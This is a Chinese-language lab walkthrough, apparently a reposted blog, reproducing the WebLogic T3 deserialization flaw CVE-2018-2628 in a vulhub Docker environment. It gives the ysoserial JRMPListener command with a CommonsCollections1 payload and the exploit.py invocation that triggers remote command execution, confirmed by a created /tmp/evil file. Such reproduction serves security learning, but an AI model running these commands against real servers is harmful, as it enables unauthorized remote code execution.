漏洞復現 - Weblogic 反序列化命令執行漏洞(CVE-2018-2628)


基礎知識

WebLogic是Orcale出品的一個application server,是J2EE構架中的一部分,具體構架如下(圖片來源:https://www.bilibili.com/video/av53746375?p=1)

 

漏洞原理

遠程攻擊者可利用該漏洞在未授權的情況下發送攻擊數據,通過T3協議(EJB支持遠程訪問,且支持多種協議。這是Web Container和EJB Container的主要區別)在Weblogic Server中執行反序列化操作,利用RMI(遠程方法調用) 機制的缺陷,通過 JRMP 協議(Java Remote Messaging Protocol:java遠程消息交換協議)達到執行任意反序列化 payload 的目的。 

 

影響版本 

Oracle WebLogic Server10.3.6.0

Oracle WebLogic Server12.2.1.2

Oracle WebLogic Server12.2.1.3

Oracle WebLogic Server12.1.3.0

 

復現環境

在ubuntu 16.04虛擬機中用vulhub靶場提供的docker鏡像來復現

jdk版本1.7,python版本為2.7(不能是python3,exploit.py腳本只能在python2上執行)

WebLogic版本為:10.3.6.0

ysoserial:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta

exploit.py腳本:https://www.exploit-db.com/exploits/44553

 

復現過程

1. 進入vulhub目錄:weblogic/CVE-2018-2628,啟動docker容器:docker-compose up -d

啟動容器過程中一直連接超時或者無權限的錯誤,解決方法:網速問題,需要。。。你懂的~

啟動成功后weblogic也啟動了,可以訪問weblogic控制台:http://127.0.0.1:7001/console

2. 啟動一個JRMP Server

java -cp ~/sally/ysoserial-0.0.6-all.jar ysoserial.exploit.JRMPListener 2325 CommonsCollections1 'touch /tmp/evil'

3. 使用exploit.py腳本,向目標Weblogic(http://ip:7001)發送數據包:  

python ~/sally/exploit.py 127.0.0.1 7001 ~/sally/ysoserial-0.0.6-all.jar 127.0.0.1 2325 JRMPClient  

 結果發送的數據包沒有被監聽端口2325接收到,修改IP地址為docker的ip地址:

python ~/sally/exploit.py 127.0.0.1 7001 ~/sally/ysoserial-0.0.6-all.jar 10.0.2.15 2325 JRMPClient  

接收數據包成功:

4.進入docker容器:docker-compose exec weblogic bash

發現tmp/evil,惡意指令執行成功

 

本文僅用於技術學習和交流,嚴禁用於非法用途,否則產生的一切后果自行承擔。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM